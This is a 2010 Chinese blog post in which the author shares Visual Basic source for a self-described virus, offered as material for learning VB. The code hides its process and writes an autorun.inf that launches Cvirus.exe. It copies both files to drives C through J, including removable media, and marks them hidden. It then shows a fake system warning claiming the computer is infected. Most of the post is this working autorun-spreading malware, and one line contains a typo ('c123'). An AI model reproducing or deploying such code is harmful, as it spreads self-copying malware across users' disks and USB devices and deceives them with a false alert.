VB编程

VB编程
2010年05月13日
   正在工作中,,,,,,有空就写入我最近编写的病毒源代码.解释下,此病毒属于自动制造垃圾到各个盘(电脑硬盘CDEF等等,也可以制造到可移动的U盘,MP3,MP4,移动硬盘等)
  我是 CRole
  大家一起学习VB
  以下是 代码:
  Sub Main()
  App.TaskVisible = False '隐藏进程
  On Error Resume Next
  Open App.Path & "autorun.inf" For Output As #1
  Print #1, "[AutoRun]"
  Print #1, "open = Cvirus.exe"
  Print #1, "shellexecute = Cvirus.exe"
  Print #1, "shell\Auto\commang = Cvirus.exe"
  Close #1
  '========================================
  Dim c1, c2, c3, c4, c5, c6, c7, c8, c9, c10, c11, c12, c13, _
  c14, c15, c16, c17, c18, c19, c20, c21, c22, c23, c24, c25, _
  c26, c27, c28, c29, c30, c31, c32, c33, c34, c35, c36, c37, c38, c39, c40
  '----------------------------------------在C盘生成空的Cvirus.exe文件
  c1 = App.Path & "\Cvirus.exe"
  c2 = "c:\Cvirus.exe"
  FileCopy c1, c2
  '----------------------------------------在C盘生成autorun.inf文件
  c3 = App.Path & "\autorun.inf"
  c4 = "c:\autorun.inf"
  FileCopy c3, c4
  '----------------------------------------在D盘生成空的Cvirus.exe文件
  c5 = App.Path & "\Cvirus.exe"
  c6 = "d:\Cvirus.exe"
  FileCopy c5, c6
  '----------------------------------------在D盘生成autorun.inf文件
  c7 = App.Path & "\autorun.inf"
  c8 = "d:\autorun.inf"
  FileCopy c7, c8
  '----------------------------------------在E盘生成空的Cvirus.exe文件
  c9 = App.Path & "\Cvirus.exe"
  c10 = "e:\Cvirus.exe"
  FileCopy c9, c10
  '----------------------------------------在E盘生成autorun.inf文件
  c11 = App.Path & "\autorun.inf"
  c12 = "e:\autorun.inf"
  FileCopy c11, c12
  '----------------------------------------在F盘生成空的Cvirus.exe文件
  c13 = App.Path & "\Cvirus.exe"
  c14 = "f:\Cvirus.exe"
  FileCopy c13, c14
  '----------------------------------------在F盘生成autorun.inf文件
  c15 = App.Path & "\autorun.inf"
  c16 = "f:\autorun.inf"
  FileCopy c15, c16
  '----------------------------------------在G盘生成空的Cvirus.exe文件
  c17 = App.Path & "\Cvirus.exe"
  c18 = "g:\Cvirus.exe"
  FileCopy c17, c18
  '----------------------------------------在G盘生成autorun.inf文件
  c19 = App.Path & "\autorun.inf"
  c20 = "g:\autorun.inf"
  FileCopy c19, c20
  '----------------------------------------在H盘生成空的Cvirus.exe文件
  c21 = App.Path & "\Cvirus.exe"
  c22 = "h:\Cvirus.exe"
  FileCopy c21, c22
  '----------------------------------------在H盘生成autorun.inf文件
  c23 = App.Path & "\autorun.inf"
  c24 = "h:\autorun.inf"
  FileCopy c123, c24
  '----------------------------------------在I盘生成空的Cvirus.exe文件
  c25 = App.Path & "\Cvirus.exe"
  c26 = "i:\Cvirus.exe"
  FileCopy c25, c26
  '----------------------------------------在I盘生成autorun.inf文件
  c27 = App.Path & "\autorun.inf"
  c28 = "i:\autorun.inf"
  FileCopy c27, c28
  '----------------------------------------在J盘生成空的Cvirus.exe文件
  c29 = App.Path & "\Cvirus.exe"
  c30 = "j:\Cvirus.exe"
  FileCopy c29, c30
  '----------------------------------------在J盘生成autorun.inf文件
  c31 = App.Path & "\autorun.inf"
  c32 = "j:\autorun.inf"
  FileCopy c31, c32
  '----------------------------------------隐藏所有生成的文件
  Call SetAttr(App.Path & "\Cvirus.exe", vbHidden)
  Call SetAttr(App.Path & "\autorun.inf", vbHidden)
  Call SetAttr("c:\Cvirus.exe", vbHidden)
  Call SetAttr("c:\autorun.inf", vbHidden)
  Call SetAttr("d:\Cvirus.exe", vbHidden)
  Call SetAttr("d:\autorun.inf", vbHidden)
  Call SetAttr("e:\Cvirus.exe", vbHidden)
  Call SetAttr("e:\autorun.inf", vbHidden)
  Call SetAttr("f:\Cvirus.exe", vbHidden)
  Call SetAttr("f:\autorun.inf", vbHidden)
  Call SetAttr("g:\Cvirus.exe", vbHidden)
  Call SetAttr("g:\autorun.inf", vbHidden)
  Call SetAttr("h:\Cvirus.exe", vbHidden)
  Call SetAttr("h:\autorun.inf", vbHidden)
  Call SetAttr("i:\Cvirus.exe", vbHidden)
  Call SetAttr("i:\autorun.inf", vbHidden)
  Call SetAttr("j:\Cvirus.exe", vbHidden)
  Call SetAttr("j:\autorun.inf", vbHidden)
  If MsgBox("警告:您的计算机受到了病毒的入侵是否立即进行杀毒!", vbQuestion + vbYesNo, "系统提示") = vbYes Then
  Form1.Show
  End If
  End Sub
  ===========================================================
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值